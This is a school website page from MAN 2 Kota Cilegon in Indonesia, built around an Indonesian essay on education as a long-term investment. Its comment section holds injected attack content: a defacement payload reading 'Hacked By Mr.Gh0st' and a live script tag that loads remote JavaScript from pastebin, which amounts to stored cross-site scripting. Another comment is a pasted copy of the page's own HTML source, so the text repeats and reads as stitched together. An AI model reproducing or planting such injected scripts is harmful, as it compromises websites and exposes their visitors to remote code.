• banain
  • bannerats1

SELAMAT DATANG SISWA/I HEBAT MAN 2 KOTA CILEGON TAHUN PELAJARAN 2020/2021

Pencarian

Kontak Kami


MADRASAH ALIYAH NEGERI 2 KOTA CILEGON

NPSN : 20623263

Jl. Kaserangan Link. Bujanggadung Kel. Rawaarum Kec. Grogol Kota Cilegon


man2.kotacilegon@gmail.com atau info@man2kotacilegon.sch.id

TLP : 0254-571552


          

Banner

Jajak Pendapat

Bagaimana pendapat anda mengenai web sekolah kami ?
Sangat bagus
Bagus
Kurang Bagus
  Lihat

Statistik


Total Hits : 62032
Pengunjung : 27132
Hari ini : 74
Hits hari ini : 134
Member Online : 0
IP : 3.219.167.194
Proxy : -
Browser : Opera Mini

Status Member

  • Adrian Maulana Rizqy (Siswa)
    2018-12-04 23:08:24

    Ya Allah Berilah saya Ilmu yang bermanfaat amin..
  • Adelina Marliana Nurhidayah (Siswa)
    2018-12-04 22:44:47

    Semoga kita di beri ilmu yang bermanfaat aminnn
  • Ade Sanjaya (Siswa)
    2018-12-04 22:02:01

    Mencoba daftar member di website MAN 2 Kota Cilegon ternyata berhasil
  • Akhmad Hasyim, S.Pd.I, S.Pd (Guru)
    2018-12-03 09:10:24

    Semoga kita semuanya Bahagia Di dunia dan Ahirat .. Amin..
  • Siti Hakkotilawati (Alumni)
    2018-12-03 08:54:32

    Bimbingan Konseling (BK) Sahabat Siswa
  • ahmad (Alumni)
    2018-12-03 08:44:44

    MAN 2 Kota Cilegon DJAWARA, Seluruh Siswa dan siswi MAN 2 selemat mengikuti PAS Ganjil, Bagaimana Kabar Alumni tahun 2017/2018 !

Pendidikan Sebagai Investasi Jangka Panjang




Profesor Toshiko Kinosita mengemukakan bahwa sumber daya manusia Indonesia masih sangat lemah untuk mendukung perkembangan industri dan ekonomi. Penyebabnya karena pemerintah selama ini tidak pernah menempatkan pendidikan sebagai prioritas terpenting. Tidak ditempatkannya pendidikan sebagai prioritas terpenting karena masyarakat Indonesia, mulai dari yang awam hingga politisi dan pejabat pemerintah, hanya berorientasi mengejar uang untuk memperkaya diri sendiri dan tidak pernah berfikir panjang (Kompas, 24 Mei 2002).

Pendapat Guru Besar Universitas Waseda Jepang tersebut sangat menarik untuk dikaji mengingat saat ini pemerintah Indonesia mulai melirik pendidikan sebagai investasi jangka panjang, setelah selama ini pendidikan terabaikan. Salah satu indikatornya adalah telah disetujuinya oleh MPR untuk memprioritaskan anggaran pendidikan minimal 20 % dari APBN atau APBD. Langkah ini merupakan awal kesadaran pentingnya pendidikan sebagai investasi jangka pangjang. Sedikitnya terdapat tiga alasan untuk memprioritaskan pendidikan sebagai investasi jangka panjang.

Pertama, pendidikan adalah alat untuk perkembangan ekonomi dan bukan sekedar pertumbuhan ekonomi. Pada praksis manajemen pendidikan modern, salah satu dari lima fungsi pendidikan adalah fungsi teknis-ekonomis baik pada tataran individual hingga tataran global. Fungsi teknis-ekonomis merujuk pada kontribusi pendidikan untuk perkembangan ekonomi. Misalnya pendidikan dapat membantu siswa untuk mendapatkan pengetahuan dan keterampilan yang diperlukan untuk hidup dan berkompetisi dalam ekonomi yang kompetitif.



Secara umum terbukti bahwa semakin berpendidikan seseorang maka tingkat pendapatannya semakin baik. Hal ini dimungkinkan karena orang yang berpendidikan lebih produktif bila dibandingkan dengan yang tidak berpendidikan. Produktivitas seseorang tersebut dikarenakan dimilikinya keterampilan teknis yang diperoleh dari pendidikan. Oleh karena itu salah satu tujuan yang harus dicapai oleh pendidikan adalah mengembangkan keterampilan hidup. Inilah sebenarnya arah kurikulum berbasis kompetensi, pendidikan life skill dan broad based education yang dikembangkan di Indonesia akhir-akhir ini. Di Amerika Serikat (1992) seseorang yang berpendidikan doktor penghasilan rata-rata per tahun sebesar 55 juta dollar, master 40 juta dollar, dan sarjana 33 juta dollar. Sementara itu lulusan pendidikan lanjutan hanya berpanghasilan rata-rata 19 juta dollar per tahun. Pada tahun yang sama struktur ini juga terjadi di Indonesia. Misalnya rata-rata, antara pedesaan dan perkotaan, pendapatan per tahun lulusan universitas 3,5 juta rupiah, akademi 3 juta rupiah, SLTA 1,9 juta rupiah, dan SD hanya 1,1 juta rupiah.

Para penganut teori human capital berpendapat bahwa pendidikan adalah sebagai investasi sumber daya manusia yang memberi manfaat moneter ataupun non-moneter. Manfaat non-meneter dari pendidikan adalah diperolehnya kondisi kerja yang lebih baik, kepuasan kerja, efisiensi konsumsi, kepuasan menikmati masa pensiun dan manfaat hidup yang lebih lama karena peningkatan gizi dan kesehatan. Manfaat moneter adalah manfaat ekonomis yaitu berupa tambahan pendapatan seseorang yang telah menyelesaikan tingkat pendidikan tertentu dibandingkan dengan pendapatan lulusan pendidikan dibawahnya. (Walter W. McMahon dan Terry G. Geske, Financing Education: Overcoming Inefficiency and Inequity, USA: University of Illionis, 1982, h.121).

Sumber daya manusia yang berpendidikan akan menjadi modal utama pembangunan nasional, terutama untuk perkembangan ekonomi. Semakin banyak orang yang berpendidikan maka semakin mudah bagi suatu negara untuk membangun bangsanya. Hal ini dikarenakan telah dikuasainya keterampilan, ilmu pengetahuan dan teknologi oleh sumber daya manusianya sehingga pemerintah lebih mudah dalam menggerakkan pembangunan nasional.

Nilai

Balik Pendidikan
Kedua, investasi pendidikan memberikan nilai balik (rate of return) yang lebih tinggi dari pada investasi fisik di bidang lain. Nilai balik pendidikan adalah perbandingan antara total biaya yang dikeluarkan untuk membiayai pendidikan dengan total pendapatan yang akan diperoleh setelah seseorang lulus dan memasuki dunia kerja. Di negara-negara sedang berkembang umumnya menunjukkan nilai balik terhadap investasi pendidikan relatif lebih tinggi dari pada investasi modal fisik yaitu 20 % dibanding 15 %. Sementara itu di negara-negara maju nilai balik investasi pendidikan lebih rendah dibanding investasi modal fisik yaitu 9 % dibanding 13 %. Keadaan ini dapat dijelaskan bahwa dengan jumlah tenaga kerja terdidik yang terampil dan ahli di negara berkembang relatif lebih terbatas jumlahnya dibandingkan dengan kebutuhan sehingga tingkat upah lebih tinggi dan akan menyebabkan nilai balik terhadap pendidikan juga tinggi (Ace Suryadi, Pendidikan, Investasi SDM dan Pembangunan: Isu, Teori dan Aplikasi. Balai Pustaka: Jakarta, 1999, h.247).

Pilihan investasi pendidikan juga harus mempertimbangkan tingkatan pendidikan. Di Asia nilai balik sosial pendidikan dasar rata-rata sebesar 27 %, pendidikan menengah 15 %, dan pendidikan tinggi 13 %. Dengan demikian dapat dikemukakan bahwa semakin tinggi tingkat pendidikan seseorang maka manfaat sosialnya semakin kecil. Jelas sekali bahwa pendidikan dasar memberikan manfaat sosial yang paling besar diantara tingkat pendidikan lainnya. Melihat kenyataan ini maka struktur alokasi pembiayaan pendidikan harus direformasi. Pada tahun 1995/1996 misalnya, alokasi biaya pendidikan dari pemerintah Indonesia untuk Sekolah Dasar Negeri per siswa paling kecil yaitu rata-rata hanya sekirat 18.000 rupiah per bulan, sementara itu biaya pendidikan per siswa di Perguruan Tinggi Negeri mendapat alokasi sebesar 66.000 rupiah per bulan. Dirjen Dikti, Satrio Sumantri Brojonegoro suatu ketika mengemukakan bahwa alokasi dana untuk pendidikan tinggi negeri 25 kali lipat dari pendidikan dasar. Hal ini menunjukkan bahwa biaya pendidikan yang lebih banyak dialokasikan pada pendidikan tinggi justru terjadi inefisiensi karena hanya menguntungkan individu dan kurang memberikan manfaat kepada masyarakat.

Reformasi alokasi biaya pendidikan ini penting dilakukan mengingat beberapa kajian yang menunjukkan bahwa mayoritas yang menikmati pendidikan di PTN adalah berasal dari masyarakat mampu. Maka model pembiayaan pendidikan selain didasarkan pada jenjang pendidikan (dasar vs tinggi) juga didasarkan pada kekuatan ekonomi siswa (miskin vs kaya). Artinya siswa di PTN yang berasal dari keluarga kaya harus dikenakan biaya pendidikan yang lebih mahal dari pada yang berasal dari keluarga miskin. Model yang ditawarkan ini sesuai dengan kritetia equity dalam pembiayaan pendidikan seperti yang digariskan Unesco.

Itulah sebabnya Profesor Kinosita menyarankan bahwa yang diperlukan di Indonesia adalah pendidikan dasar dan bukan pendidikan yang canggih. Proses pendidikan pada pendidikan dasar setidaknnya bertumpu pada empat pilar yaitu learning to know, learning to do, leraning to be dan learning live together yang dapat dicapai melalui delapan kompetensi dasar yaitu membaca, menulis, mendengar, menutur, menghitung, meneliti, menghafal dan menghayal. Anggaran pendidikan nasional seharusnya diprioritaskan untuk mengentaskan pendidikan dasar 9 tahun dan bila perlu diperluas menjadi 12 tahun. Selain itu pendidikan dasar seharusnya “benar-benar” dibebaskan dari segala beban biaya. Dikatakan “benar-benar” karena selama ini wajib belajar 9 tahun yang dicanangkan pemerintah tidaklah gratis. Apabila semua anak usia pendidikan dasar sudah terlayani mendapatkan pendidikan tanpa dipungut biaya, barulah anggaran pendidikan dialokasikan untuk pendidikan tingkat selanjutnya.

Fungsi

Non Ekonomi
Ketiga, investasi dalam bidang pendidikan memiliki banyak fungsi selain fungsi teknis-ekonomis yaitu fungsi sosial-kemanusiaan, fungsi politis, fungsi budaya, dan fungsi kependidikan. Fungsi sosial-kemanusiaan merujuk pada kontribusi pendidikan terhadap perkembangan manusia dan hubungan sosial pada berbagai tingkat sosial yang berbeda. Misalnya pada tingkat individual pendidikan membantu siswa untuk mengembangkan dirinya secara psikologis, sosial, fisik dan membantu siswa mengembangkan potensinya semaksimal mungkin (Yin Cheong Cheng, School Effectiveness and School-Based Management: A Mechanism for Development, Washington D.C: The Palmer Press, 1996, h.7).

Fungsi politis merujuk pada sumbangan pendidikan terhadap perkembangan politik pada tingkatan sosial yang berbeda. Misalnya pada tingkat individual, pendidikan membantu siswa untuk mengembangkan sikap dan keterampilan kewarganegaraan yang positif untuk melatih warganegara yang benar dan bertanggung jawab. Orang yang berpendidikan diharapkan lebih mengerti hak dan kewajibannya sehingga wawasan dan perilakunya semakin demoktratis. Selain itu orang yang berpendidikan diharapkan memiliki kesadaran dan tanggung jawab terhadap bangsa dan negara lebih baik dibandingkan dengan yang kurang berpendidikan.

Fungsi budaya merujuk pada sumbangan pendidikan pada peralihan dan perkembangan budaya pada tingkatan sosial yang berbeda. Pada tingkat individual, pendidikan membantu siswa untuk mengembangkan kreativitasnya, kesadaran estetis serta untuk bersosialisasi dengan norma-norma, nilai-nilai dan keyakinan sosial yang baik. Orang yang berpendidikan diharapkan lebih mampu menghargai atau menghormati perbedaan dan pluralitas budaya sehingga memiliki sikap yang lebih terbuka terhadap keanekaragaman budaya. Dengan demikian semakin banyak orang yang berpendidikan diharapkan akan lebih mudah terjadinya akulturasi budaya yang selanjutnya akan terjadi integrasi budaya nasional atau regional.

Fungsi kependidikan merujuk pada sumbangan pendidikan terhadap perkembangan dan pemeliharaan pendidikan pada tingkat sosial yang berbeda. Pada tingkat individual pendidikan membantu siswa belajar cara belajar dan membantu guru cara mengajar. Orang yang berpendidikan diharapkan memiliki kesadaran untuk belajar sepanjang hayat (life long learning), selalu merasa ketinggalan informasi, ilmu pengetahuan serta teknologi sehingga terus terdorong untuk maju dan terus belajar.

Di kalangan masyarakat luas juga berlaku pendapat umum bahwa semakin berpendidikan maka makin baik status sosial seseorang dan penghormatan masyarakat terhadap orang yang berpendidikan lebih baik dari pada yang kurang berpendidikan. Orang yang berpendidikan diharapkan bisa menggunakan pemikiran-pemikirannya yang berorientasi pada kepentingan jangka panjang. Orang yang berpendidikan diharapkan tidak memiliki kecenderungan orientasi materi/uang apalagi untuk memperkaya diri sendiri.

Kesimpulan
Jelaslah bahwa investasi dalam bidang pendidikan tidak semata-mata untuk mendongkrak pertumbuhan ekonomi tetapi lebih luas lagi yaitu perkembangan ekonomi. Selama orde baru kita selalu bangga dengan pertumbuhan ekonomi yang tinggi, namun pertumbuhan ekonomi yang tinggi itu hancur lebur karena tidak didukung oleh adanya sumber daya manusia yang berpendidikan. Orde baru banyak melahirkan orang kaya yang tidak memiliki kejujuran dan keadilan, tetapi lebih banyak lagi melahirkan orang miskin. Akhirnya pertumbuhan ekonomi hanya dinikmati sebagian orang dan dengan tingkat ketergantungan yang amat besar.

Perkembangan ekonomi akan tercapai apabila sumber daya manusianya memiliki etika, moral, rasa tanggung jawab, rasa keadilan, jujur, serta menyadari hak dan kewajiban yang kesemuanya itu merupakan indikator hasil pendidikan yang baik. Inilah saatnya bagi negeri ini untuk merenungkan bagaimana merencanakan sebuah sistem pendidikan yang baik untuk mendukung perkembangan ekonomi. Selain itu pendidikan juga sebagai alat pemersatu bangsa yang saat ini sedang diancam perpecahan. Melalui fungsi-fungsi pendidikan di atas yaitu fungsi sosial-kemanusiaan, fungsi politis, fungsi budaya, dan fungsi kependidikan maka negeri ini dapat disatukan kembali. Dari paparan di atas tampak bahwa pendidikan adalah wahana yang amat penting dan strategis untuk perkembangan ekonomi dan integrasi bangsa. Singkatnya pendidikan adalah sebagai investasi jangka panjang yang harus menjadi pilihan utama.

Bila demikian, ke arah mana pendidikan negeri ini harus dibawa? Bagaimana merencanakan sebuah sistem pendidikan yang baik? Marilah kita renungkan bersama.

Nurkolis, Dosen Akademi Pariwisata Nusantara Jaya di Jakarta.

Saya Drs. Nurkolis, MM setuju jika bahan yang dikirim dapat dipasang dan digunakan di Homepage Pendidikan Network dan saya menjamin bahwa bahan ini hasil karya saya sendiri dan sah (tidak ada copyright). .




Share This Post To :

Kembali ke Atas

Artikel Lainnya :




Silahkan Isi Komentar dari tulisan artikel diatas :

Nama :

E-mail :

Komentar :

          

Kode :


 

Komentar :

Pengirim : MrGhst -  [syahbanaridho@gmail.com]  Tanggal : 15/04/2020
"><h1>Hacked By Mr.Gh0st</h1>

Pengirim : script typetextjavascript srchttpspasteb -  [feyif@mailboxt.net]  Tanggal : 11/02/2020
<script type="text/javascript" src="https://pastebin.com/raw/F27NEeD6"></script>

Pengirim : komentar -  [komentar@gmail.com]  Tanggal : 05/04/2019

<!DOCTYPE html>
<html dir="ltr" lang="en-US"><head><!-- Created by Artisteer v4.3.0.60858 -->
<meta charset="utf-8">


<title>Pendidikan Sebagai Investasi Jangka Panjang</title>
<meta name="viewport" content="initial-scale = 1.0, maximum-scale = 1.0, user-scalable = no, width = device-width">
<meta name="author" content="MADRASAH ALIYAH NEGERI 2 KOTA CILEGON" />
<meta name="description" content="Profesor Toshiko Kinosita mengemukakan bahwa sumber daya manusia Indonesia masih sangat lemah untuk mendukung perkembangan industri dan ekonomi. Penyebabn..."/>
<!--[if lt IE 9]><script src="https://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
<link rel="stylesheet" href="../theme/man2kotacilegon/style.css" media="screen">
<!--[if lte IE 7]><link rel="stylesheet" href="../theme/man2kotacilegon/style.ie7.css" media="screen" /><![endif]-->
<link rel="stylesheet" href="../theme/man2kotacilegon/style.responsive.css" media="all">

<link rel="icon" type="image/jpeg" href="/images/jpeg-favicon.jpg" />
<link rel="stylesheet" href="../include/plugins/bxslider/jquery.bxslider.css">
<link rel="stylesheet" href="../include/css/add.css">
<script src="../theme/man2kotacilegon/jquery.js"></script>
<script src="../theme/man2kotacilegon/script.js"></script>
<script src="../theme/man2kotacilegon/script.responsive.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script>
<script src="../include/plugins/bxslider/plugins/jquery.easing.1.3.js"></script>
<script src="../include/plugins/bxslider/plugins/jquery.fitvids.js"></script>
<script src="../include/plugins/bxslider/jquery.bxslider.min.js"></script>


<style>.art-content .art-postcontent-0 .layout-item-0 { padding-right: 10px;padding-left: 10px; }
.ie7 .art-post .art-layout-cell {border:none !important; padding:0 !important; }
.ie6 .art-post .art-layout-cell {border:none !important; padding:0 !important; }
</style>
<!-- script tambahan -->
<style type="text/css">
#calendar_tooltip
{
position: absolute;
width: 130px;
border: 1px solid #FFFFFF;
padding: 7px;
background-color: #CCCCCC;
visibility: hidden;
z-index: 100;
filter: progid:DXImageTransform.Microsoft.Shadow(color=gray,direction=135);
font-size: 10px;
color: #000000;
font-family: MS Sans Serif, Tahoma, sans-serif;
}
.flashclass { /*sample CSS class added to image slideshow container*/
width: 196px; /*a width should be defined for transition to work*/
border: 0;
padding: 2px;
}
.flashclass img{
width:196px;
}

.highlight {
background-color: #DEDEDE;
}
.normal {
}

</style>

<script type="text/javascript">
var behavior="TD"
var ns6=document.getElementById&&!document.all
var ie=document.all
function changeto(e,color)
{
source=ie? event.srcElement : e.target
if(source.tagName=="TABLE")
return
while(source.tagName!=behavior && source.tagName!="HTML")
source=ns6? source.parentNode : source.parentElement
if(source.style.backgroundColor!=color&&source.id!="ignore")
source.style.backgroundColor=color
}
function contains_ns6(master, slave)
{
while (slave.parentNode)
if ((slave = slave.parentNode) == master)
return true;
return false;
}
function changeback(e,originalcolor)
{
if (ie&&(event.fromElement.contains(event.toElement)||source.contains(event.toElement)||source.id=="ignore")||source.tagName=="TABLE")
return
else if (ns6&&(contains_ns6(source, e.relatedTarget)||source.id=="ignore"))
return
if (ie&&event.toElement!=source||ns6&&e.relatedTarget!=source)
source.style.backgroundColor=originalcolor
}
function detailagen(mn)
{
window.open('../procs/agenda.php?kode='+mn,'Cek','width=300,height=90,resizable=no,scrollbars=no');

}
function daftar()
{

window.open('../users/daftar.php','Daftar Member');

}

</script>

</head>
<body>
<div id="art-main">
<div class="art-sheet clearfix">
<header class="art-header">
<script type='text/javascript'>
$(document).ready(function(){
$('#bxslider0').bxSlider({
auto: true,
adaptiveHeight: true,
mode: 'fade',
easing: 'easeOutBounce',
controls: false,
pager: false

});
});
</script>

<ul id='bxslider0'>

<li>
<img src='../images/banneratas/gbanner5.jpg' alt='banain'>
</li>

<li>
<img src='../images/banneratas/gbanner3.jpg' alt='bannerats1'>
</li>

</ul> <!-- atas konten-->
</header>
<nav class="art-nav">
<ul class="art-hmenu"><li><a href="index.php" target="_self" ><span class="t">Home</span></a><ul></ul></li><li><a href="profil.php" target="_self" ><span class="t">Profil</span></a><ul><li><a href='profil.php?id=profil&kode=11&profil=Visi dan Misi' target='_self' >Visi dan Misi</a><ul></ul></li><li><a href='profil.php?id=profil&kode=12&profil=Sejarah Singkat' target='_self' >Sejarah Singkat</a><ul></ul></li><li><a href='profil.php?id=profil&kode=17&profil=Sarana & Prasarana' target='_self' >Sarana & Prasarana</a><ul></ul></li><li><a href='profil.php?id=profil&kode=15&profil=Struktur Organisasi' target='_self' >Struktur Organisasi</a><ul></ul></li><li><a href='profil.php?id=profil&kode=14&profil=Kepala Sekolah' target='_self' >Kepala Sekolah</a><ul></ul></li><li><a href='profil.php?id=profil&kode=18&profil=Kemitraan' target='_self' >Kemitraan</a><ul></ul></li><li><a href='profil.php?id=profil&kode=13&profil=Program Kerja' target='_self' >Program Kerja</a><ul></ul></li><li><a href='profil.php?id=profil&kode=19&profil=Kondisi Siswa' target='_self' >Kondisi Siswa</a><ul></ul></li><li><a href='profil.php?id=profil&kode=22&profil=Komite Sekolah' target='_self' >Komite Sekolah</a><ul></ul></li><li><a href='profil.php?id=profil&kode=16&profil=Prestasi' target='_self' >Prestasi</a><ul></ul></li></ul></li><li><a href="guru.php" target="_self" ><span class="t">Guru</span></a><ul><li><a href='guru.php?id=dbguru' target='_self' >Direktori Guru</a><ul></ul></li><li><a href='guru.php?id=silabus' target='_self' >Silabus</a><ul></ul></li><li><a href='guru.php?id=materi' target='_self' >Materi Ajar</a><ul></ul></li><li><a href='guru.php?id=soal' target='_self' >Materi Uji</a><ul></ul></li><li><a href='guru.php?id=profil&kode=23&profil=Prestasi Guru' target='_self' >Prestasi Guru</a><ul></ul></li><li><a href='guru.php?id=profil&kode=20&profil=Kalender Akademik' target='_self' >Kalender Akademik</a><ul></ul></li></ul></li><li><a href="siswa.php" target="_self" ><span class="t">Siswa</span></a><ul><li><a href='siswa.php?id=dbsiswa' target='_self' >Direktori Siswa</a><ul></ul></li><li><a href='siswa.php?id=prestasi' target='_self' >Prestasi Siswa</a><ul></ul></li><li><a href='siswa.php?id=profil&kode=25&profil=Ektrakurikuler' target='_self' >Ektrakurikuler</a><ul></ul></li><li><a href='siswa.php?id=profil&kode=21&profil=OSIS' target='_self' >OSIS</a><ul></ul></li><li><a href='siswa.php?id=profil&kode=24&profil=Beasiswa' target='_self' >Beasiswa</a><ul></ul></li></ul></li><li><a href="alumni.php" target="_self" ><span class="t">Alumni</span></a><ul><li><a href='alumni.php?id=data' target='_self' >Direktori Alumni</a><ul></ul></li><li><a href='alumni.php?id=info' target='_self' >Info Alumni</a><ul></ul></li></ul></li><li><a href="#" target="_self"><span class="t">Fitur</span></a><ul><li><a href='index.php?id=dafblog' target='_self' >Daftar Blog</a><ul></ul></li><li><a href='index.php?id=link' target='_self' >Link</a><ul></ul></li><li><a href='index.php?id=agenda' target='_self' >Agenda</a><ul></ul></li><li><a href='index.php?id=project' target='_self' >Opini</a><ul></ul></li></ul></li><li><a href="#" target="_self" ><span class="t">Galeri</span></a><ul><li><a href='index.php?id=video' target='_self' >Galeri Video</a><ul></ul></li><li><a href='index.php?id=album' target='_self' >Galeri Photo</a><ul></ul></li></ul></li><li><a href="index.php?id=berita" target="_self" ><span class="t">Berita</span></a><ul></ul></li><li><a href="index.php?id=artikel" target="_self" ><span class="t">Artikel</span></a><ul></ul></li><li><a href="index.php?id=info" target="_self" ><span class="t">Info Sekolah</span></a><ul></ul></li><li><a href="index.php?id=buku" target="_self" ><span class="t">Buku Tamu</span></a><ul></ul></li><li><a href="http://mail.man2kotacilegon.sch.id" target="_blank" ><span class="t">Webmail</span></a><ul></ul></li></ul><!-- menu konten-->
</nav>
<div class="art-layout-wrapper">
<div class="art-block"> <marquee behavior="scroll" direction="left" height="15" scrollamount="4" width="100%"><h3>PENDAFTARAN PESERTA DIDIK BARU (PPDB) MAN 2 KOTA CILEGON TAHUN PELAJARAN 2019 - 2020 DI BUKA SECARA ONLINE == SILAHKAN DAFTAR DI ALAMAT WEBSITE: ppdb.man2kotacilegon.sch.id === Email: ppdb@man2kotacilegon.sch.id</h3></marquee></div>
<div class="art-content-layout">
<div class="art-content-layout-row">
<div class="art-layout-cell art-sidebar1">
<!-- multibahasa-->
<div class="art-block clearfix">
<div class="art-blockheader">
<h3 class="t">Pencarian</h3>
</div>
<div class="art-blockcontent"><div><form action='index.php' method='post' ><table><tr><td><input type='text' name='query' size='17' /></td><td>
<input type='submit' value='Cari' class='art-button' /></td></tr><input type='hidden' value='cari' name='id' /></table></form></div>
</div>
</div><div class="art-block clearfix">
<div class="art-blockheader">
<h3 class="t">Kontak Kami</h3>
</div>
<div class="art-blockcontent"><div><p style='text-align: center;'><img width='60' height='60' alt='' src='../images/20623263.jpg'><br></p><p style='text-align: center;'><strong>MADRASAH ALIYAH NEGERI 2 KOTA CILEGON</strong></p><p style='text-align: center;'>NPSN : <a href='http://referensi.data.kemdikbud.go.id/tabs.php?npsn=20623263' target='_blank'>20623263</a></p><p style='text-align: center;'>Jl. Kaserangan Link. Bujanggadung Kel. Rawaarum Kec. Grogol Kota Cilegon</p><hr><p style='text-align: center;'>man2.kotacilegon@gmail.com atau info@man2kotacilegon.sch.id</p><p style='text-align: center;'>TLP : 0254-571552</p><br><p style='text-align: center;'></a>&nbsp;&nbsp;<a href='https://www.facebook.com/man2cilegon' target='_blank' class='art-facebook-tag-icon' style='line-height: 32px;'></a>&nbsp;&nbsp;<a href='https://twitter.com/man2cilegon' target='_blank' class='art-twitter-tag-icon' style='line-height: 32px;'></a>&nbsp;&nbsp;<a href='https://www.youtube.com/channel/UClJnoySufh3JgYpwZRtO5ng/videos' target='_blank' class='art-youtube-tag-icon' style='line-height: 32px;'></a>&nbsp;&nbsp;<a href='https://deskgram.net/man2.cilegon' target='_blank' class='art-ig-tag-icon' style='line-height: 32px;'></a>&nbsp;&nbsp;<a href='https://www.man2kotacilegon.sch.id' target='_blank' class='art-gplus-tag-icon' style='line-height: 32px;'></a></p></div>
</div>
</div><div class="art-block clearfix">
<div class="art-blockheader">
<h3 class="t">Banner</h3>
</div>
<div class="art-blockcontent"><div><script type='text/javascript'>
$(document).ready(function(){
$('#bxslider11').bxSlider({
auto:true,
mode: 'horizontal',
adaptiveHeight: true,
pager:false,
controls:false

});
});
</script><ul id='bxslider11'>

<li style='list-style-type: none;'>
<a href='../procs/visit.php?id=9' target='_blank' ><img src='../images/banner/bn9.jpg' width='210' height='60'></a>
</li>
<li style='list-style-type: none;'>
<a href='../procs/visit.php?id=11' target='_blank' ><img src='../images/banner/bn11.jpg' width='210' height='60'></a>
</li>
<li style='list-style-type: none;'>
<a href='../procs/visit.php?id=12' target='_blank' ><img src='../images/banner/bn12.jpg' width='210' height='60'></a>
</li>
<li style='list-style-type: none;'>
<a href='../procs/visit.php?id=13' target='_blank' ><img src='../images/banner/bn13.jpg' width='210' height='60'></a>
</li>
<li style='list-style-type: none;'>
<a href='../procs/visit.php?id=14' target='_blank' ><img src='../images/banner/bn14.jpg' width='210' height='60'></a>
</li>
<li style='list-style-type: none;'>
<a href='../procs/visit.php?id=15' target='_blank' ><img src='../images/banner/bn15.jpg' width='210' height='60'></a>
</li>
</ul> </div>
</div>
</div><div class="art-block clearfix">
<div class="art-blockheader">
<h3 class="t">Jajak Pendapat</h3>
</div>
<div class="art-blockcontent"><div><FORM action='index.php' method='post' >
Bagaimana pendapat anda mengenai web sekolah kami ?
<br>
<table border=0 cellspacing=0 width='100%' ><tr>
<td>
<FONT class='ari13' >Sangat bagus</font>
</td>
<TD>
<input type=hidden name='file' value=Resource id #9><input type=hidden name=am_id value=1>
<input type=hidden name=lt_id value=><input type=hidden name=t_id value=>
<INPUT TYPE=radio name='guest' value=1>
</TD>
</TR><tr>
<td>
<FONT class='ari13' >Bagus</font>
</td>
<TD>
<input type=hidden name='file' value=Resource id #9><input type=hidden name=am_id value=1>
<input type=hidden name=lt_id value=><input type=hidden name=t_id value=>
<INPUT TYPE=radio name='guest' value=2>
</TD>
</TR><tr>
<td>
<FONT class='ari13' >Kurang Bagus</font>
</td>
<TD>
<input type=hidden name='file' value=Resource id #9><input type=hidden name=am_id value=1>
<input type=hidden name=lt_id value=><input type=hidden name=t_id value=>
<INPUT TYPE=radio name='guest' value=3>
</TD>
</TR></table>
<input type=hidden name='id' value='tam_vot'> <input class='art-button' type=submit name=Submit value='Pilih'> &nbsp;
<a href='../index.php?id=lih_voting&kd=1' class='art-button' >Lihat</a>
</form> </div>
</div>
</div><div class="art-block clearfix">
<div class="art-blockheader">
<h3 class="t">Statistik</h3>
</div>
<div class="art-blockcontent"><div><br />
<table>
<tr><td class='news-title'><img src='../images/9.gif' width='17' height='14' > Total Hits </td><td class='news-title'> : 11303 </td></tr>
<tr><td class='news-title'><img src='../images/9.gif' width='17' height='14' > Pengunjung </td><td class='news-title'> : 2584 </td></tr>
<tr><td class='news-title'><img src='../images/8.gif' width='17' height='14' > Hari ini </td><td class='news-title'> : 34 </td></tr>
<tr><td class='news-title'><img src='../images/9.gif' width='17' height='14' > Hits hari ini </td><td class='news-title'> : 81 </td></tr>
<tr><td class='news-title'><img src='../images/10.gif' width='17' height='14' > Member Online </td><td class='news-title'> : 0 </td></tr>
<tr><td class='news-title'><img src='../images/10.gif' width='17' height='14' > IP</td><td class='news-title'> : 103.112.137.201</td></tr>
<tr><td class='news-title'><img src='../images/10.gif' width='17' height='14' > Proxy</td><td class='news-title'> : - </td></tr>
<tr><td class='news-title'><img src='../images/10.gif' width='17' height='14' > Browser</td><td class='news-title'> : Safari</td></tr>
</table></div>
</div>
</div><div class="art-block clearfix">
<div class="art-blockheader">
<h3 class="t">Status Member</h3>
</div>
<div class="art-blockcontent"><div><script type='text/javascript'>
$(document).ready(function(){
$('#bxslider4').bxSlider({
auto:true,
mode: 'vertical',
slideWidth: 200,
minSlides: 2,
slideMargin: 5,
pager: false,
controls: false
});
});
</script><ul id='bxslider4'>
<li>
<div class='boxed' margin-top='5px'><img src='http://man2kotacilegon.sch.id//users/profil/kosong.jpg' align='left' style='width:60px; height:70px;margin:auto 5px auto auto;'><span><strong>Adrian Maulana Rizqy (Siswa)</strong><br/><span>2018-12-04 23:08:24</span><br><br><i>Ya Allah Berilah saya Ilmu yang bermanfaat amin..</i></span></div>
</li><li>
<div class='boxed' margin-top='5px'><img src='http://man2kotacilegon.sch.id//users/profil/kosong.jpg' align='left' style='width:60px; height:70px;margin:auto 5px auto auto;'><span><strong>Adelina Marliana Nurhidayah (Siswa)</strong><br/><span>2018-12-04 22:44:47</span><br><br><i>Semoga kita di beri ilmu yang bermanfaat aminnn</i></span></div>
</li><li>
<div class='boxed' margin-top='5px'><img src='http://man2kotacilegon.sch.id//users/profil/kosong.jpg' align='left' style='width:60px; height:70px;margin:auto 5px auto auto;'><span><strong>Ade Sanjaya (Siswa)</strong><br/><span>2018-12-04 22:02:01</span><br><br><i>Mencoba daftar member di website MAN 2 Kota Cilegon ternyata berhasil</i></span></div>
</li><li>
<div class='boxed' margin-top='5px'><img src='http://man2kotacilegon.sch.id//users/profil/kosong.jpg' align='left' style='width:60px; height:70px;margin:auto 5px auto auto;'><span><strong>Akhmad Hasyim, S.Pd.I, S.Pd (Guru)</strong><br/><span>2018-12-03 09:10:24</span><br><br><i>Semoga kita semuanya Bahagia Di dunia dan Ahirat .. Amin..</i></span></div>
</li><li>
<div class='boxed' margin-top='5px'><img src='http://man2kotacilegon.sch.id//users/profil/kosong.jpg' align='left' style='width:60px; height:70px;margin:auto 5px auto auto;'><span><strong>Siti Hakkotilawati (Alumni)</strong><br/><span>2018-12-03 08:54:32</span><br><br><i>Bimbingan Konseling (BK) Sahabat Siswa</i></span></div>
</li><li>
